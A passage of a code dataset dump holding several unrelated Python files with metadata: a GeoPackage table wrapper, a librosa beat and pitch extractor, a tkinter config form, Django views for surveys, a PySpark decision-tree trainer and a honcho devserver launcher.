QgsGeometry):\n geom = ogr.CreateGeometryFromWkt(geom.asWkt())\n if geom:\n feature.SetGeometry(geom)\n self._layer.CreateFeature(feature)\n\n def delete(self, where=''):\n '''warning: resets cursor'''\n prev_where = self._where\n self.where = where\n i = 0\n for feature in self._layer:\n self._layer.DeleteFeature(feature.GetFID())\n i += 1\n self.where = prev_where\n return i\n\n def update_cursor(self, row: Union[dict, list]):\n if isinstance(row, list):\n row = dict(zip(self.fields, row))\n for field, value in row.items():\n self._cursor.SetField(field, value)\n self._layer.SetFeature(self._cursor)\n\n def as_pandas(self):\n rows = []\n for row in self:\n rows.append(row.values())\n df = pd.DataFrame.from_records(rows, columns=self.fields)\n return df\n\n @property\n def count(self):\n return self._layer.GetFeatureCount()\n\n def __repr__(self):\n return f\"GeopackageTable {self.name} {self._layer}\"\n\n\nclass Geopackage(Database):\n '''\n manages the connection to a geopackage db (file)\n '''\n def __init__(self, base_path: str = '.', read_only: bool = False):\n super().__init__()\n self.base_path = base_path\n self.read_only = read_only\n\n def create_workspace(self, name, overwrite=False):\n return GeopackageWorkspace.create(name, self, overwrite=overwrite)\n\n def get_table(self, name: str, workspace: str = '', fields=None, where=''):\n if not workspace:\n raise Exception('Geopackage backend does not support '\n 'tables without workspaces')\n return self.get_workspace(workspace).get_table(\n name, where=where, fields=fields)\n\n def get_workspace(self, name):\n return GeopackageWorkspace(name, self)\n\n @property\n def workspaces(self):\n workspaces = [f.rstrip('.gpkg') for f in os.listdir(self.base_path)\n if os.path.isfile(os.path.join(self.base_path, f)) and\n f.endswith('.gpkg')]\n return workspaces\n\n def __repr__(self):\n return f\"Geopackage {self.base_path}\"\n", "sub_path": "projektcheck/base/geopackage.py", "file_name": "geopackage.py", "file_ext": "py", "file_size_in_byte": 7914, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "osgeo.ogr.GetDriverByName", "line_number": 11, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 11, "usage_type": "name"}, {"api_name": "osgeo.ogr.OFTInteger64", "line_number": 14, "usage_type": "attribute"}, {"api_name": "osgeo.ogr", "line_number": 14, "usage_type": "name"}, {"api_name": "osgeo.ogr.OFSTBoolean", "line_number": 15, "usage_type": "attribute"}, {"api_name": "osgeo.ogr", "line_number": 15, "usage_type": "name"}, {"api_name": "osgeo.ogr.OFTReal", "line_number": 16, "usage_type": "attribute"}, {"api_name": "osgeo.ogr", "line_number": 16, "usage_type": "name"}, {"api_name": "osgeo.ogr.OFTString", "line_number": 17, "usage_type": "attribute"}, {"api_name": "osgeo.ogr", "line_number": 17, "usage_type": "name"}, {"api_name": "projektcheck.base.Workspace", "line_number": 20, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "osgeo.ogr.Open", "line_number": 28, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 48, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 81, "usage_type": "argument"}, {"api_name": "osgeo.ogr.FieldDefn", "line_number": 86, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 86, "usage_type": "name"}, {"api_name": "osgeo.ogr.__dict__.keys", "line_number": 92, "usage_type": "call"}, {"api_name": "osgeo.ogr.__dict__", "line_number": 92, "usage_type": "attribute"}, {"api_name": "osgeo.ogr", "line_number": 92, "usage_type": "name"}, {"api_name": "projektcheck.base.Table", "line_number": 101, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.isin", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 112, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 124, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 126, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 153, "usage_type": "name"}, {"api_name": "osgeo.ogr.Feature", "line_number": 161, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 161, "usage_type": "name"}, {"api_name": "qgis.core.QgsGeometry", "line_number": 167, "usage_type": "argument"}, {"api_name": "osgeo.ogr.CreateGeometryFromWkt", "line_number": 168, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 168, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 184, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 195, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 195, "usage_type": "attribute"}, {"api_name": "projektcheck.base.Database", "line_number": 206, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 230, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}]} {"seq_id": "205012592", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 30 09:34:53 2020\n\n@author: linhailan1\n\nExtract beats and pitches, and save it under the same folder as the wav file\n\"\"\"\n\n\nimport argparse\nimport librosa\nimport os\nimport numpy as np\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"datadir\", type=str, help=\"data directory\")\nparser.add_argument(\"outdir\", type=str, help=\"output directory\")\nparser.add_argument(\"model\", type=str, help=\"model type\")\nargs = parser.parse_args()\n\nif args.model == 'HMM':\n frame_length = 25/1000\n frame_shift = 10/1000\nelif args.model == 'TDNN':\n frame_length = 60/1000\n frame_shift = 30/1000\n\nfor root, dirs, files in os.walk(args.datadir):\n for f in files:\n name, suffix = f.split(\".\")\n if suffix == \"wav\":\n y, sr = librosa.load(os.path.join(root, f),sr = None)\n hop_length = int(sr * frame_shift)\n win_length = int(sr * frame_length)\n n_fft = win_length\n \n '''extract beats'''\n tempo, beats = librosa.beat.beat_track(y=y, sr=sr, hop_length=hop_length, win_length=win_length)\n times = librosa.frames_to_time(beats, sr=sr)\n frames = librosa.time_to_frames(times,sr = sr, hop_length=hop_length, n_fft = n_fft, win_length=win_length)\n #file = open((os.path.join(args.outdir, name))+'_beats.txt', \"w+\")\n #for beat in beats:\n # file.write(str(beat)+' ')\n #file.close()\n np.save((os.path.join(args.outdir, name))+'_beats',np.array(beats))\n \n '''extract pitches'''\n pitches, magnitudes = librosa.piptrack(y=y,sr=sr,n_fft=n_fft,hop_length=hop_length, win_length=win_length)\n pitches = pitches.T\n #file = open((os.path.join(args.outdir, name))+'_pitches.txt', \"w+\")\n pitch = np.zeros((pitches.shape[0]))\n for i in range(pitches.shape[0]):\n pitch[i] = max(pitches[i])\n #file.close()\n np.save((os.path.join(args.outdir, name))+'_pitch',pitch)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "preprocessing/pitch_beat_extraction.py", "file_name": "pitch_beat_extraction.py", "file_ext": "py", "file_size_in_byte": 2103, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 30, "usage_type": "call"}, {"api_name": "librosa.load", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "librosa.beat.beat_track", "line_number": 40, "usage_type": "call"}, {"api_name": "librosa.beat", "line_number": 40, "usage_type": "attribute"}, {"api_name": "librosa.frames_to_time", "line_number": 41, "usage_type": "call"}, {"api_name": "librosa.time_to_frames", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "librosa.piptrack", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}]} {"seq_id": "549043817", "text": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nfrom tkinter import *\nimport tkFont\nimport yaml\n \n#fields = 'Last Name', 'First Name', 'Job', 'Country'\nfields = 'Connect', 'SerialNumber'\nbg_colour = '#2b081d', 'White'\nfg_colour = 'black', 'black'\n\ndef genconfig(entries):\n '''\n import subprocess\n connect = entries[0][1].get().strip()\n sn = entries[1][1].get().strip()\n\n run_command = 'python genconfig.py {} {}'.format(connect, sn)\n print run_command\n #result = subprocess.check_output('python gui_pass_fail.py', shell=False)\n result = subprocess.check_output(run_command, shell=False)\n print 'result = {}'.format(result)\n '''\n settings = {}\n with open('settings.yml', 'r') as infile:\n settings = yaml.load(infile)\n infile.close()\n\n settings['CONNECT'] = entries[0][1].get().strip().upper()\n if entries[1][1].get().strip() != '':\n settings['SN'] = entries[1][1].get().strip()\n with open('settings.yml', 'w') as outfile:\n yaml.dump(settings, outfile, default_flow_style=False)\n outfile.close()\n else:\n entries[1][1].insert(10, settings['SN'] )\n\n \ndef fetch(entries):\n genconfig(entries)\n for entry in entries:\n field = entry[0]\n text = entry[1].get().strip()\n print('%s: \"%s\"' % (field, text))\n quit()\n\n \ndef makeform(root, fields):\n helvetica = tkFont.Font(family='Helvetica', size=20, weight=tkFont.BOLD)\n entries = []\n for n, field in enumerate(fields):\n row = Frame(root)\n lab = Label(row, font=helvetica, width=12, text=field, anchor='w')\n ent = Entry(row, font=helvetica, fg=fg_colour[n], bg=bg_colour[n])\n row.pack(side=TOP, fill=X, padx=5, pady=5)\n lab.pack(side=LEFT)\n ent.pack(side=RIGHT, expand=YES, fill=X)\n entries.append((field, ent))\n return entries\n\n \nif __name__ == '__main__':\n root = Tk() \n \n ents = makeform(root, fields)\n root.bind('<Return>', (lambda event, e=ents: fetch(e)))\n \n# b2 = Button(root, font=helvetica, text='Quit', command=root.quit)\n# b2.pack(side=LEFT, padx=5, pady=5)\n b1 = Button(root, font=\"Helvetica 22 bold\", text='generate', fg='white', bg='#142e9b', command=(lambda e=ents: fetch(e)))\n b1.pack(side=LEFT, padx=5, pady=5, expand=YES, fill=X)\n\n ents[0][1].insert(10, \"UART\")\n ents[0][1]['state'] = 'readonly'\n\n ents[1][1].focus()\n\n GUI_TITLE='GenConfig'\n root.title(GUI_TITLE)\n\n root.resizable(False, False)\n root.withdraw()\n root.update_idletasks()\n x = (root.winfo_screenwidth() - root.winfo_reqwidth()) / 2\n y = (root.winfo_screenheight() - root.winfo_reqheight()) / 2\n root.geometry(\"+%d+%d\" % (x, y))\n root.deiconify()\n \n root.mainloop()", "sub_path": "0WM_BLT2/BU1_0WM/gui_genconfig.py", "file_name": "gui_genconfig.py", "file_ext": "py", "file_size_in_byte": 2761, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "yaml.load", "line_number": 27, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 34, "usage_type": "call"}, {"api_name": "tkFont.Font", "line_number": 50, "usage_type": "call"}, {"api_name": "tkFont.BOLD", "line_number": 50, "usage_type": "attribute"}]} {"seq_id": "83694196", "text": "# coding: utf-8\n__author__ = 'windy'\nimport json\nimport imghdr\nfrom hashlib import md5\nfrom qiniu import Auth, put_data\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponse\n\nfrom tools import send_cloud_mail\nfrom mis import models\nfrom mis import config\nfrom commons import func\n\ntry:\n from huanxun.settings import pads_host\nexcept:\n pads_host = \"\"\nfrom huanxun.settings import QINIU_ACCESS_KEY, QINIU_SECRET_KEY, QINIU_BUCKET_NAME\nimport logging\nlogger = logging.getLogger(__name__)\n\n@login_required\ndef index(request):\n \"\"\"\n Index.html\n :param request:\n :return:\n \"\"\"\n entry = dict()\n entry['redirect'] = 2\n template = func.role_template_path(request.user, 'index.html')\n if request.user.role in [config.Role.ACC, config.Role.TEACHER_QA, config.Role.TEAM_LEADER, config.Role.PC, config.Role.OM, config.Role.PM, config.Role.HR, config.Role.SCH]:\n template = 'ui/teacher_manager/index.html'\n # TODO 移动到老师首页\n # if request.user.role == config.Role.TEACHER or request.user.role == config.Role.TEACHER_MANAGER:\n # domain = request.get_host()\n # if 'teacher.121learn.com' not in domain:\n # return HttpResponseRedirect(\"http://teacher.121learn.com\")\n # # teacher_protocol = \"http://huanxunedu.qiniudn.com/First Future Home Base Teacher Agreement.pdf\"\n # # entry = {'protocol': teacher_protocol}\n # # return render_to_response('ui/teacher/index.html', entry, RequestContext(request))\n # try:\n # domain = request.get_host()\n # logger.info(domain)\n # if 'teacher.121learn.com' not in domain:\n # if request.META.has_key('HTTP_X_FORWARDED_FOR'):\n # ip = request.META['HTTP_X_FORWARDED_FOR']\n # logger.info(\"ip is \" + ip)\n # else:\n # ip = request.META['REMOTE_ADDR']\n # logger.info(\"ip is \" + ip)\n # res_json = urllib.urlopen(\"http://ip.taobao.com/service/getIpInfo.php?ip=\" + ip).read()\n # res = ujson.loads(res_json)\n # country = res.get('data').get(\"country_id\", '')\n # logger.info(\"country is \" + country)\n # if country != u\"CN\" and country != u\"IANA\":\n # return HttpResponseRedirect(\"http://teacher.121learn.com\")\n # except:\n # pass\n\n if request.user.role == config.Role.STUDENT:\n school = models.School.objects.get(id=request.user.school_id)\n return HttpResponseRedirect(school.hx_domain)\n\n return render_to_response(template, entry, RequestContext(request))\n\n\ndef handler403(request):\n response = render_to_response('ui/frank/403.html', {},\n context_instance=RequestContext(request))\n response.status_code = 403\n return response\n\n\ndef handler404(request):\n response = render_to_response('ui/frank/404.html', {},\n context_instance=RequestContext(request))\n response.status_code = 404\n return response\n\n\ndef handler500(request):\n response = render_to_response('ui/frank/500.html', {},\n context_instance=RequestContext(request))\n response.status_code = 500\n return response\n\n\n@login_required\ndef view_survey(request):\n \"\"\"\n To get the survey page\n \"\"\"\n template = func.role_template_path(request.user, 'survey.html')\n if request.user.role == config.Role.TEACHER:\n return render_to_response(\"ui/teacher/survey.html\", RequestContext(request))\n elif request.user.role == config.Role.TEACHER_MANAGER:\n return render_to_response(\"ui/teacher_manager/survey.html\", RequestContext(request))\n else:\n return render_to_response(template, RequestContext(request))\n\n\n@login_required\ndef post_survey(request):\n \"\"\"\n To save the survey\n :param request:\n :return:\n \"\"\"\n params = request.POST\n type = params.get(\"type\", 0)\n email = params.get(\"email\", None)\n content = params.get(\"content\", '')\n images = request.FILES\n user = request.user.pk\n flag = False\n msg = 'fail'\n images_list = []\n if type and email and content:\n try:\n survey = models.Survey.objects.create(\n type=type,\n writer_id=user,\n email=email,\n content=content,\n )\n flag = True\n if images:\n prefix = 'static/survey/img/'\n q = Auth(QINIU_ACCESS_KEY, QINIU_SECRET_KEY)\n token = q.upload_token(QINIU_BUCKET_NAME)\n for (j, k) in images.items():\n file_type = None\n try:\n file_type = imghdr.what(k)\n except:\n pass\n if file_type not in ['jpeg', 'png', 'bmp']:\n continue\n img_file = k.name\n img_name = img_file[:img_file.rfind('.')]\n extension = img_file[img_file.rfind('.'):]\n key = prefix + md5(img_name).hexdigest() + extension\n\n ret, info = put_data(token, key, k)\n\n if info.status_code == 200:\n models.SurveyImage.objects.create(\n survey_id=survey.pk,\n image=key\n )\n else:\n logger.info(\"The file %s upload to Qiniu error\" % img_name)\n images_list.append(key)\n if not images_list:\n msg = 'FileType Error'\n flag = False\n except:\n pass\n if flag:\n type_info = '意见或建议'\n data = dict(type=type_info,\n email=email,\n content=content,\n picture=images_list)\n send_cloud_mail.mis_feedback_email(['jesse.wang@huanxunedu.com'], data)\n\n msg = 'success'\n return HttpResponse(json.dumps(msg))\n\n\ndef unsupport(request):\n \"\"\"\n 浏览器兼容\n \"\"\"\n return render_to_response('browser.html', RequestContext(request))\n", "sub_path": "mis/commons/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6421, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "huanxun.settings.pads_host", "line_number": 21, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "commons.func.role_template_path", "line_number": 35, "usage_type": "call"}, {"api_name": "commons.func", "line_number": 35, "usage_type": "name"}, {"api_name": "mis.config.Role", "line_number": 36, "usage_type": "attribute"}, {"api_name": "mis.config", "line_number": 36, "usage_type": "name"}, {"api_name": "mis.config.Role", "line_number": 65, "usage_type": "attribute"}, {"api_name": "mis.config", "line_number": 65, "usage_type": "name"}, {"api_name": "mis.models.School.objects.get", "line_number": 66, "usage_type": "call"}, {"api_name": "mis.models.School", "line_number": 66, "usage_type": "attribute"}, {"api_name": "mis.models", "line_number": 66, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 67, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 69, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 69, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 73, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 80, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 81, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 87, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 88, "usage_type": "call"}, {"api_name": "commons.func.role_template_path", "line_number": 98, "usage_type": "call"}, {"api_name": "commons.func", "line_number": 98, "usage_type": "name"}, {"api_name": "mis.config.Role", "line_number": 99, "usage_type": "attribute"}, {"api_name": "mis.config", "line_number": 99, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 100, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 100, "usage_type": "call"}, {"api_name": "mis.config.Role", "line_number": 101, "usage_type": "attribute"}, {"api_name": "mis.config", "line_number": 101, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 102, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 102, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 104, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 104, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 93, "usage_type": "name"}, {"api_name": "mis.models.Survey.objects.create", "line_number": 125, "usage_type": "call"}, {"api_name": "mis.models.Survey", "line_number": 125, "usage_type": "attribute"}, {"api_name": "mis.models", "line_number": 125, "usage_type": "name"}, {"api_name": "qiniu.Auth", "line_number": 134, "usage_type": "call"}, {"api_name": "huanxun.settings.QINIU_ACCESS_KEY", "line_number": 134, "usage_type": "argument"}, {"api_name": "huanxun.settings.QINIU_SECRET_KEY", "line_number": 134, "usage_type": "argument"}, {"api_name": "huanxun.settings.QINIU_BUCKET_NAME", "line_number": 135, "usage_type": "argument"}, {"api_name": "imghdr.what", "line_number": 139, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 147, "usage_type": "call"}, {"api_name": "qiniu.put_data", "line_number": 149, "usage_type": "call"}, {"api_name": "mis.models.SurveyImage.objects.create", "line_number": 152, "usage_type": "call"}, {"api_name": "mis.models.SurveyImage", "line_number": 152, "usage_type": "attribute"}, {"api_name": "mis.models", "line_number": 152, "usage_type": "name"}, {"api_name": "tools.send_cloud_mail.mis_feedback_email", "line_number": 170, "usage_type": "call"}, {"api_name": "tools.send_cloud_mail", "line_number": 170, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 173, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 173, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 107, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 180, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 180, "usage_type": "call"}]} {"seq_id": "117756519", "text": "\nfrom __future__ import print_function\nfrom pyspark import SparkContext\n# $example on$\nfrom pyspark.mllib.tree import DecisionTree, DecisionTreeModel\nfrom pyspark.mllib.regression import LabeledPoint\nfrom numpy import array\n\nsc.stop()\nif __name__ == \"__main__\":\n\n\tsc = SparkContext(appName=\"PythonDecisionTreeRegressionExample\")\n\tsc.setLogLevel(\"ERROR\")\n\t\t\n\tdef createlabeledpoints(f):\n\t\tb1c=int(f[0])\n\t\tb1s=float(f[1])\n\t\tb1a=float(f[2])\n\t\tb2c=int(f[3])\n\t\tb2s=float(f[4])\n\t\tb2a=float(f[5])\n\t\tblc=int(f[6])\n\t\tblw=float(f[7])\n\t\tbla=float(f[8])\n\t\tr=int(f[9])\n\t\tw=int(f[10])\n\t\treturn LabeledPoint(r,[b1c,b1s,b1a,b2c,b2s,b2a,blc,blw,bla])\n\tdef createlabeledpoints2(f):\n\t\tb1c=int(f[0])\n\t\tb1s=float(f[1])\n\t\tb1a=float(f[2])\n\t\tb2c=int(f[3])\n\t\tb2s=float(f[4])\n\t\tb2a=float(f[5])\n\t\tblc=int(f[6])\n\t\tblw=float(f[7])\n\t\tbla=float(f[8])\n\t\tr=int(f[9])\n\t\tw=int(f[10])\n\t\treturn LabeledPoint(w,[b1c,b1s,b1a,b2c,b2s,b2a,blc,blw,bla])\n\t\t\n\t\t\n\tdata = sc.textFile(\"/home/anup/Downloads/hopeyoudontforwardthistoanyone/output.csv\")\n\tcsvdata=data.map(lambda x:x.split(\",\"))\n\ttrainingdata1=csvdata.map(createlabeledpoints)\n\ttrainingdata2=csvdata.map(createlabeledpoints2)\n\tmodel1 = DecisionTree.trainRegressor(trainingdata1, categoricalFeaturesInfo={0:10,3:10,6:10},impurity='variance',maxDepth=14, maxBins=30)\n\tmodel2 = DecisionTree.trainRegressor(trainingdata2, categoricalFeaturesInfo={0:10,3:10,6:10},impurity='variance',maxDepth=14, maxBins=30)\n\tmodel1.save(sc, \"runs\")\n\tmodel2.save(sc, \"wickets\")\n\tsc.stop()\n", "sub_path": "Decision_tree.py", "file_name": "Decision_tree.py", "file_ext": "py", "file_size_in_byte": 1484, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyspark.SparkContext", "line_number": 12, "usage_type": "call"}, {"api_name": "pyspark.mllib.regression.LabeledPoint", "line_number": 27, "usage_type": "call"}, {"api_name": "pyspark.mllib.regression.LabeledPoint", "line_number": 40, "usage_type": "call"}, {"api_name": "pyspark.mllib.tree.DecisionTree.trainRegressor", "line_number": 47, "usage_type": "call"}, {"api_name": "pyspark.mllib.tree.DecisionTree", "line_number": 47, "usage_type": "name"}, {"api_name": "pyspark.mllib.tree.DecisionTree.trainRegressor", "line_number": 48, "usage_type": "call"}, {"api_name": "pyspark.mllib.tree.DecisionTree", "line_number": 48, "usage_type": "name"}]} {"seq_id": "495917479", "text": "import argparse\nimport errno\nimport os\nimport sys\nimport psutil\nimport signal\nimport time\nimport daemon\nfrom daemon.pidfile import TimeoutPIDLockFile\n\nhoncho_process = None\nchild_pids = set()\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--num-http-workers', type=int, default=2)\n parser.add_argument('--num-workers', type=int, default=2)\n parser.add_argument('--logdir', default='-')\n parser.add_argument('--daemondir')\n parser.add_argument('--procfile')\n return parser.parse_args()\n\n\n# This is from a stackoverflow answer:\n# http://stackoverflow.com/questions/600268/mkdir-p-functionality-in-python\ndef mkdir_p(path):\n try:\n os.makedirs(path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\n\ndef service_command_line(procfile_path, workers):\n return [\n 'honcho', 'start', '-f', procfile_path, '-c',\n ','.join([\"%s=%d\" % (key, value) for key, value in workers.items()])]\n\n\ndef shutdown():\n if signal_processes(child_pids, signal.SIGINT):\n time.sleep(3)\n signal_processes(child_pids, signal.SIGKILL)\n\n\ndef signal_processes(pids, sig):\n signaled = []\n for p in pids:\n try:\n process = psutil.Process(p)\n process.send_signal(sig)\n signaled.append(process.pid)\n except psutil.NoSuchProcess:\n pass\n\n if len(signaled) > 0:\n sys.stderr.write(\n \"Sent signal (%s) to processes: %s\\n\" % (sig, signaled))\n return True\n else:\n return False\n\n\ndef expand_children():\n for p in child_pids.copy():\n try:\n process = psutil.Process(p)\n child_pids.update(\n [p.pid for p in process.children(recursive=True)])\n except psutil.NoSuchProcess:\n pass\n\n\ndef cleanup():\n sys.stderr.write('Shutting down the devserver.\\n')\n expand_children()\n try:\n honcho_process.send_signal(signal.SIGINT)\n except psutil.NoSuchProcess:\n return\n\n try:\n honcho_process.wait(timeout=3)\n except psutil.TimeoutExpired:\n pass\n\n shutdown()\n\n\ndef log_and_cleanup(signum, frame):\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n signal.signal(signal.SIGTERM, signal.SIG_IGN)\n sys.stderr.write(\"RECEIVED SIGNAL: '%s'\\n\" % signum)\n cleanup()\n sys.exit(0)\n\n\ndef setup_signal_handlers():\n signal.signal(signal.SIGINT, log_and_cleanup)\n signal.signal(signal.SIGTERM, log_and_cleanup)\n\n\ndef run(logdir, procfile_path, workers, daemondir=None):\n if daemondir is not None:\n mkdir_p(daemondir)\n with daemon.DaemonContext(\n working_directory='.',\n umask=0o002,\n pidfile=TimeoutPIDLockFile(\n os.path.join(daemondir, 'devserver.pid')),\n stdout=open(os.path.join(daemondir, 'devserver.out'), 'w'),\n stderr=open(os.path.join(daemondir, 'devserver.err'), 'w'),\n initgroups=False):\n _run(logdir, procfile_path, workers)\n else:\n _run(logdir, procfile_path, workers)\n\n\ndef _run(logdir, procfile_path, workers):\n global honcho_process\n\n setup_signal_handlers()\n\n if (logdir == '-'):\n outlog = sys.stdout\n errlog = sys.stderr\n else:\n mkdir_p(logdir)\n sys.stderr.write('Launching the devserver... logging to: %s\\n' % logdir)\n outlog = open(os.path.join(logdir, 'honcho.out'), 'w')\n errlog = open(os.path.join(logdir, 'honcho.err'), 'w')\n\n honcho_process = psutil.Popen(\n service_command_line(procfile_path, workers), shell=False,\n stdout=outlog, stderr=errlog)\n time.sleep(3)\n sys.stderr.write('The devserver is now up.\\n')\n child_pids.update(\n [p.pid for p in psutil.Process().children(recursive=True)])\n\n honcho_process.wait()\n cleanup()\n\n\ndef main():\n arguments = parse_args()\n\n run(\n logdir=arguments.logdir,\n workers={\n 'http_worker': arguments.num_http_workers,\n 'worker': arguments.num_workers,\n },\n procfile_path=arguments.procfile,\n daemondir=arguments.daemondir)\n", "sub_path": "ptero_common/devserver.py", "file_name": "devserver.py", "file_ext": "py", "file_size_in_byte": 4240, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 29, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "signal.SIGINT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}, {"api_name": "signal.SIGKILL", "line_number": 46, "usage_type": "attribute"}, {"api_name": "psutil.Process", "line_number": 53, "usage_type": "call"}, {"api_name": "psutil.NoSuchProcess", "line_number": 56, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 60, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 60, "usage_type": "attribute"}, {"api_name": "psutil.Process", "line_number": 70, "usage_type": "call"}, {"api_name": "psutil.NoSuchProcess", "line_number": 73, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 78, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 78, "usage_type": "attribute"}, {"api_name": "signal.SIGINT", "line_number": 81, "usage_type": "attribute"}, {"api_name": "psutil.NoSuchProcess", "line_number": 82, "usage_type": "attribute"}, {"api_name": "psutil.TimeoutExpired", "line_number": 87, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 94, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 94, "usage_type": "attribute"}, {"api_name": "signal.SIG_IGN", "line_number": 94, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 95, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 95, "usage_type": "attribute"}, {"api_name": "signal.SIG_IGN", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 96, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 96, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 98, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 102, "usage_type": "call"}, {"api_name": "signal.SIGINT", 